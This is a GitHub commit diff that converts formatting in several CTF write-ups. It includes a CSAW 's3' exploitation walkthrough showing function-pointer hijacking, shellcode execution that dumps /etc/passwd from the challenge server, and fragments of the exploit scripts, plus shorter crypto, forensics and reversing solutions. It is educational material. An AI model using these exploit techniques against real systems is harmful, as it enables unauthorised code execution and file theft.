Permalink
Browse files

Remove missed liquid formatting.

  • Loading branch information...
superkojiman committed Feb 9, 2016
1 parent 05fd4f2 commit b8e86f4c42917710d529dba7b6e47b563dbb65bf
View
@@ -4,22 +4,22 @@ A while ago, we threw together a semi-official VulnHub CTF. This team participat
Upon downloading the binary called ```s3```, I connected to the remote server to quickly see what I was up against.
-{% highlight bash)
+```
$ nc 54.165.225.121 5333
-{% endhighlight)
+```
However, the connection timed out very quickly. I checked out the local copy with file:
-{% highlight bash)
+```
$ file s3
s3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe99ee53d6922baffcd3cecd9e6b333f7538d0633, stripped
-{% endhighlight)
+```
Interesting, a 64 bit binary. Viewing it in ```hopper``` suggested that it is a C++ binary. I started the binary locally and faced the same quick time-out. This didn't sit well with me, because I could hardly enter the second command to play around.
I fired up ```gdb-peda``` and ran the binary. It quickly showed the problem:
-{% highlight bash)
+```
gdb-peda$ r
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
@@ -36,18 +36,18 @@ Welcome to Amazon S3 (String Storage Service)
>
Program received signal SIGALRM, Alarm clock.
-{% endhighlight)
+```
![s3: gdb caught the alarm.](/images/2014/csaw/s3/s3-gdb-alarm.png)
Turns out this SIGALRM is generated by a call to [alarm()](http://linux.die.net/man/2/alarm). In hindsight, I could have made a library that overrides the call to ```alarm()```, but I went with the hex-editing approach. I disassembled the binary using ```objdump``` and used ```grep``` to search the output for "alarm":
-{% highlight bash)
+```
$ objdump -d s3 | grep alarm
0000000000401300 <alarm@plt>:
402126: e8 d5 f1 ff ff callq 401300 <alarm@plt>
403771: e8 8a db ff ff callq 401300 <alarm@plt>
-{% endhighlight)
+```
Using ```xxd```, ```objdump``` and ```sed```, I replaced those bytes with NOPs and reversed the process with ```xxd -r```, generating a new binary in the process that was devoid of annoying timeouts!
@@ -65,9 +65,9 @@ Time to fire up ```gdb``` again and try to reproduce the crash:
It looks like the updated string somehow overwrites a function pointer. This pointer is used here:
-{% highlight bash)
+```
=> 0x4019d6: call QWORD PTR [rax+0x10]
-{% endhighlight)
+```
Obviously, ```0x42424242-0x10``` holds nothing interesting. However, we have overwritten a function pointer with a value that we control so in principle, we can hijack ```EIP``` and execute arbitrary code! The drawback is that the pointer is derefenced, so in order to execute any shellcode, we need to do the following:
@@ -79,13 +79,13 @@ We store shellcode somewhere, we store a pointer to the shellcode and finally, w
I got tired of copying and pasting the string identifiers so I switched over to python. In order to emulate the server, I put the binary behind a nc listener:
-{% highlight bash)
+```
$ while [[ 1 ]]; do nc -e ./s3 -v -l -p 5333; done
-{% endhighlight)
+```
Notice that I'm using ```s3``` again, as this will automagically restart without the need for a clean shutdown (in case the script needs debugging). I enabled coredumps with ```ulimit -c unlimited``` and started scripting and debugging, a lot.
-{% highlight python)
+```
#!/usr/bin/python
from socket import *
@@ -137,11 +137,11 @@ time.sleep(0.1)
s.send('x\n')
s.close()
-{% endhighlight)
+```
After running this (and careful debugging of the script) I got a coredump:
-{% highlight bash)
+```
$ python ./amaz.py
Welcome to Amazon S3 (String Storage Service)
@@ -161,23 +161,23 @@ bas@tritonal:~/documents/s3 writeup$ gdb ./s3 core
...snip...
gdb-peda$ i r
rax 0x41414141 0x41414141
-{% endhighlight)
+```
Good, we have control over ```rax```. Now let's use this to dereference the pointer to the first string:
-{% highlight python)
+```
s.send('u ' + str(p_tmp) + ' ' + struct.pack('>L', p_shellcode-0x10) + '\n')
-{% endhighlight)
+```
Which obviously still crashes, because now the binary executes:
-{% highlight bash)
+```
#0 0x0000000021465443 in ?? ()
-{% endhighlight)
+```
Which obviously contains no data, nor any code. But let's give it a proper pointer, shall we? And while I'm at it, I'll set the shellcode to ```INT3```. The stack is executable, so this should work!
-{% highlight python)
+```
#!/usr/bin/python
from socket import *
@@ -237,23 +237,23 @@ time.sleep(0.1)
s.send('x\n')
s.close()
-{% endhighlight)
+```
In the other terminal, I observed:
-{% highlight bash)
+```
connect to [127.0.0.1] from localhost [127.0.0.1] 53500
Trace/breakpoint trap (core dumped)
listening on [any] 5333 ...
-{% endhighlight)
+```
BOOM! Code execution on my local machine!
At this point I wasted some time to cook up a small shellcode that would re-use existing code in the binary, to verify that the stack was indeed executable in the remote binary. It was, whoop-dee-doo! Next I searched for a proper shellcode and stumbled upon [this one!](http://shell-storm.org/shellcode/files/shellcode-878.php).
I stuck it in the exploit and lo and behold:
-{% highlight python)
+```
#!/usr/bin/python
from socket import *
@@ -313,27 +313,27 @@ time.sleep(0.1)
s.send('x\n')
s.close()
-{% endhighlight)
+```
-{% highlight bash)
+```
[+] shellcode = 0x01355030
[+] pivot = 0x01355030
[+] vulnerable pointer = 0x013552b0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...snip...
-{% endhighlight)
+```
This also worked against the remote server! It showed me that there was a user called ```amazon``` with home directory ```/home/amazon```. I adapted the exploit a bit to make it read arbitrary files. The instruction that needs adjusting is this one:
-{% highlight bash)
+```
; NULL byte fix
xor byte [rdi + 11], 0x41
-{% endhighlight)
+```
We need to update the value 11, or ```0x0b```. The exploit code was modified once more, spraying ```time.sleep()``` calls here and there:
-{% highlight python)
+```
#!/usr/bin/python
from socket import *
@@ -398,7 +398,7 @@ time.sleep(0.1)
s.send('x\n')
s.close()
-{% endhighlight)
+```
(Note: this exploit fails if the address contains a NULL byte, a space or a zero, as these truncate data. During the CTF, I experienced no problems).
@@ -4,9 +4,9 @@ In the excercise, you have to find the CVE-ID.
>This disc is encrypted. The surprisingly elaborate password hint refers to "the CVE Identifier for a 2014 vulnerability that allowed arbitrary code execution in Firefox via a buffer overflow in a speech codec". If you found this "CVE-ID" thingy, it'd probably be the password.
To solve this, we visit the website <a href="http://www.cvedetails.com/">cvedetails.com</a> and search for Mozilla Firefox in the Google Custom Search. By doing it, we are provided a table showing Vulnerability Trends Over Time.
-{% img /images/2014/pico/cve/vtot.png)
+![](/images/2014/pico/cve/vtot.png)
By the description of the problem, if we see, there are 19 Overflow vulnerabilities published in 2014. Clicking further on 19 provides you Security Vulnerabilities Published In 2014 (Overflow)
-{% img /images/2014/pico/cve/svpi2014.png)
+![](/images/2014/pico/cve/svpi2014.png)
Searching for spee, you would find the CVE-ID for the vulnerability is **CVE-2014-1542** which is the correct flag.
View
@@ -6,7 +6,7 @@ ZOR is a 50 point Cryptography challenge. You are provided with a encrypted file
ZOR.py
encrypted
-{% codeblock ZOR.py%}
+```
#!/usr/bin/python
import sys
@@ -55,7 +55,8 @@ def main():
out_file.close()
main()
-{% endcodeblock)
+```
+
If you see the encrypt function, key is bitwise and with 0xFF which means there are only 256 possible key combinations.
```
def encrypt(input_data, password):
@@ -499,12 +499,10 @@ print decrypt("\x56\x0c\x0a\x1d\x67\x08\x42\x18\x57\x5c\x53\x4f\x1a\x04\x72\x21\
Which *finally* gave us the flag:
-{% raw)
```
-EKO{%s}
+EKO\{%s\}
b4by_3xpl0it_FMT_str1ng_FTW!#$
```
-{% endraw)
The flag was `EKO{b4by_3xpl0it_FMT_str1ng_FTW!#$}`. Too bad the challenge was broken, nice to learn a new technique!
@@ -27,9 +27,9 @@ find -empty -type f -delete
```
Garbage got removed from
-{% img /images/2015/hackim/forensics300/for3001.png)
+![](/images/2015/hackim/forensics300/for3001.png)
to
-{% img /images/2015/hackim/forensics300/for3002.png)
+![](/images/2015/hackim/forensics300/for3002.png)
ran2.sh looked interested and had a entry "FILEEXT=".JPG"", May be our flag is jpg.
```
@@ -39,7 +39,7 @@ find . -type f -exec file {} + | grep JPEG
//Filename contains a space so we have to unescape it
display ./poiuy7Xdb/7yknXuW/VXIXNxl/wmDKAM\ 1/lkjhwerle.jpg
```
-{% img /images/2015/hackim/forensics300/for3003.jpg)
+![](/images/2015/hackim/forensics300/for3003.jpg)
The flag is **flag{f0rens!cs!sC00L}**
@@ -8,15 +8,15 @@ upx.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```
Executing it in Windows XP provided us with Error Dialog
-{% img left /images/2015/hackim/reversing200/upx1.png)
+![](/images/2015/hackim/reversing200/upx1.png)
Searching Google for Reversing Engineering with Ollydbg resulted in <a href="http://resources.infosecinstitute.com/reverse-engineering-ollydbg/">Reverse Engineering with OllyDbg</a>. Following the step in the guide i.e Viewing the call stack (Alt-K), show call etc. We reached to the point where the Error Message Dialog Box is called. It has a interesting string "-pl34se-give-me-th3-k3y", it also has kernel32.GetCommandLineA. Maybe it read the command line arguments and need "-pl34se-give-me-th3-k3y"
-{% img /images/2015/hackim/reversing200/upx2.png)
+![](/images/2015/hackim/reversing200/upx2.png)
Scrolling up the code we found that there is a check of IsDebuggerPresent also there is a code to output the flag as a debug(kernel32.OutputDebugStringA) and messagebox with String "Since you asked nicely...here you go".
-{% img /images/2015/hackim/reversing200/upx3.png)
+![](/images/2015/hackim/reversing200/upx3.png)
If we check the second image, there are commands
```
@@ -26,7 +26,8 @@ If we check the second image, there are commands
08001169 EB 14 JMP SHORT 0800117F
```
First part of analysis is done, Now we need to reach this code, let's try to put a breakpoint at 0x8001160 and we get a warning, maybe because the code is generated at runtime
-{% img /images/2015/hackim/reversing200/upx4.png)
+
+![](/images/2015/hackim/reversing200/upx4.png)
So the way to reach this code is to do Step In (F7) and Step Over (F8). With multiple running of instances, testing and putting multiple breakpoints, a statement at 0x00401686 CALL EAX takes the execution at 0x8001536
```
@@ -59,7 +60,8 @@ We get to the Debugoutput
```
080010E5 FF15 04A00008 CALL DWORD PTR DS:[800A004] ; kernel32.OutputDebugStringA
``` and got the flag
-{% img /images/2015/hackim/reversing200/upx5.png)
+
+![](/images/2015/hackim/reversing200/upx5.png)
The flag is **flag{s1mpl3-c0mpr3ss10n-f0r-fun&p}**
@@ -19,8 +19,7 @@ Enter the f****** argument
Alright! So we need an argument apparently :) Upon running the program with single character arguments, you get various different outputs. After testing each possible character I see that each character in the key we need to decrypt is included in our tests. So apparently all we need to do in this challenge is translate each part of our "ciphertext" to it's printable character counterpart. I decided to script this up to make it less tedious.
-{% codeblock lang:python)
-{% raw)
+```
#!/usr/bin/python
import subprocess, string
@@ -41,9 +40,8 @@ for x in a:
for i in goal:
solution += d[i]
-print "[+] Solution: 'flag{%s}'"%solution
-{% endraw)
-{% endcodeblock)
+print "[+] Solution: 'flag\{%s\}'"%solution
+```
After running our script, we get the flag.

0 comments on commit b8e86f4

Please sign in to comment.